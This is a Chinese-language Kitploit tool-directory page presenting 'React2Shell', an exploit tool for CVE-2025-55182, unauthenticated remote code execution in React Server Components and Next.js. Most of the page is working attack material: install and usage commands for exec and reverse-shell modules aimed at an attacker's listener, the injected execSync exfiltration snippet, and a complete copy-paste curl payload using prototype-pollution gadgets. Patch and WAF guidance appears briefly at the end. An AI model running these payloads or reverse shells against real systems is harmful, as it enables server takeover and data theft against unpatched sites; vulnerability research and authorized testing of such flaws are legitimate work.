Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
React2Shell-CVE-2025-55182 — CVE-2025-55182 — 未认证的远程代码执行在React服务端组件中(React2Shell)。CVSS 10.0 用于授权渗透测试的利用工具。 | Kitploit
工具/GitHubGitHub/speatx/react2shell-cve-2025-55182
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制学习与教育红队Payload 开发
GitHubspeatx/react2shell-cve-2025-55182

React2Shell-CVE-2025-55182

CVE-2025-55182 — 未认证的远程代码执行在React服务端组件中(React2Shell)。CVSS 10.0 用于授权渗透测试的利用工具。

查看仓库
12个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-55182 — React2Shell

未认证的 React 服务端组件远程代码执行漏洞,通过 Flight 协议的不安全反序列化实现。单次 HTTP 请求即可在服务器上执行任意代码 — 无需凭据,无需预先访问权限。

root@kitploit:~
   _____                  __  _  __
  / ___/____  ___  ____ _/ /_| |/ /
  \__ \/ __ \/ _ \/ __ `/ __/   /
 ___/ / /_/ /  __/ /_/ / /_/   |
/____/ .___/\___/\__,_/\__/_/|_|
    /_/
      React Server Components — Flight Protocol RCE
               CVE-2025-55182  ·  CVSS 10.0
           Author: SpeatX  ·  OSCP Style  ·  v1.0

CVE-2025-55182 · CVSS 10.0 · 未认证 · 预认证 RCE · 披露于 2025 年 12 月 3 日

影响 React 19(≤ 19.2.0)及任何使用 Server Actions 的 Next.js 应用。默认配置即存在漏洞 — 目标端无需自定义代码。

受影响版本

包受影响版本修复版本
react-server19.0.0 → 19.2.019.3.0+
next所有未修复的 React 19 版本15.0.5 / 15.1.9 / 15.2.6 / 15.3.6+

安装

root@kitploit:~
git clone https://github.com/SpeatX/react2shell
cd react2shell
pip install requests

需要 Python 3.8+。无其他依赖。


使用方法

root@kitploit:~
python exploit.py <模块> -t <目标> [选项]
root@kitploit:~
模块:
  check      指纹识别目标并确认漏洞
  exec       执行单条操作系统命令并读取输出
  revshell   向你的监听器发送反弹 shell

选项:
  -t, --target URL      目标 URL
  -c CMD                要执行的命令 (exec 模块)
  --lhost IP            你的 IP(若未设置则从 tun0 自动检测)
  --lport PORT          监听端口(默认:4444)
  --shell-type TYPE     bash · python3 · nc · mkfifo · node(默认:bash)
  --proxy URL           通过代理路由(例如 http://127.0.0.1:8080)
  --random-agent        每次请求轮换 User-Agent
  --timeout N           请求超时(默认:15)

推荐工作流程 — 始终从 check 开始:

root@kitploit:~
# 1. 确认目标存在漏洞
python exploit.py check -t http://10.10.11.50

# 2. 运行命令进行枚举或获取旗标
python exploit.py exec -t http://10.10.11.50 -c "id"
python exploit.py exec -t http://10.10.11.50 -c "cat /root/root.txt"

# 3. 需要交互式 shell 时获取 shell
#    (先启动监听器:nc -lvnp 4444)
python exploit.py revshell -t http://10.10.11.50
python exploit.py revshell -t http://10.10.11.50 --lhost 10.10.14.5 --lport 4444
python exploit.py revshell -t http://10.10.11.50 --shell-type python3 --lport 9001

代理支持和随机 User-Agent 适用于任何模块:

root@kitploit:~
python exploit.py check   -t http://10.10.11.50 --proxy http://127.0.0.1:8080
python exploit.py exec    -t http://10.10.11.50 -c "whoami" --random-agent
python exploit.py revshell -t http://10.10.11.50 --proxy http://127.0.0.1:8080

每个模块的帮助:python exploit.py <模块> --help


工作原理

背景

React Server Components 使用一种名为 Flight 协议 的内部流式格式进行通信。当浏览器调用 Server Action 时,它会向应用根目录发送一个包含 Next-Action 头的 multipart/form-data POST 请求。服务器在验证 action ID 之前(包括验证动作 ID 之前),就会将请求体传递给 react-server 包进行反序列化。

root@kitploit:~
浏览器                          Node.js / Next.js
  │                                    │
  │── POST /  ────────────────────────>│
  │   Next-Action: x                   │
  │   Content-Type: multipart/form-data│
  │   Body: 被投毒的 Flight 数据块      │
  │                                    │
  │                    react-server    │
  │             resolveModelToJSON()   │  ← 存在漏洞
  │                                    │
  │<── 307 + X-Action-Redirect ───────│  此处输出结果

漏洞

在 resolveModelToJSON() 函数内部,反序列化器会遍历传入的 JSON 数据块。当遇到包含 then 属性的对象时,会将其视为 Promise 并等待它 — 这是为了异步 Server Components 而设计的正常行为。问题在于:没有进行任何验证来确认该 thenable 对象来自可信源。

攻击者将一个伪造的数据块注入到 multipart 请求体中,该数据块包含一个指向 require('child_process').execSync(...) 的 then 属性。React 会等待它,从而运行操作系统命令。

为什么 Next-Action: x 有效

在生产环境下,Server Actions 通过 SHA 哈希进行标识。服务器应在处理之前进行验证。但 Flight 解码器在 该检查之前 运行 — 这意味着任何带有 Next-Action 头的 POST 请求,即使是像 x 这样完全伪造的请求,也会触发存在漏洞的反序列化路径。无需有效的 action ID。

输出渗出

注入的代码捕获命令输出,并抛出一个精心构造的 NEXT_REDIRECT 错误:

root@kitploit:~
var res = require('child_process').execSync('<cmd>').toString().trim();
throw Object.assign(new Error('NEXT_REDIRECT'), {
  digest: `NEXT_REDIRECT;push;/login?a=${res};307;`
});

Next.js 会捕获该错误并将其转换为 307 Temporary Redirect,将 digest 嵌入到 X-Action-Redirect 响应头中。命令输出以 URL 编码形式出现:

root@kitploit:~
HTTP/1.1 307 Temporary Redirect
X-Action-Redirect: /login?a=uid%3D0%28root%29%20gid%3D0%28root%29;307;

使用 curl 手动利用

root@kitploit:~
curl -si -X POST http://TARGET/ \
  -H 'Next-Action: x' \
  -H 'Content-Type: multipart/form-data; boundary=----Boundary' \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim().replace(/\\\\n/g,\' | \');;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------Boundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------Boundary--\r\n'

输出位于 X-Action-Redirect 头中,URL 编码于 /login?a= 之后。


修复措施

root@kitploit:~
npm install react@latest react-dom@latest next@latest

最低安全版本:react-server ≥ 19.3.0 · next ≥ 15.3.6

如果无法立即打补丁:

  • 在 next.config.js 中设置 experimental: { serverActions: false }
  • 在反向代理层面拦截 Next-Action 头
  • WAF 规则:拒绝包含 NEXT_REDIRECT 或 __proto__ 的 POST 请求体

参考资料

  • NVD — CVE-2025-55182
  • Wiz Research
  • OffSec
  • Microsoft MSTIC
  • Google GTIG

仅用于授权的渗透测试和教育目的。

下载工具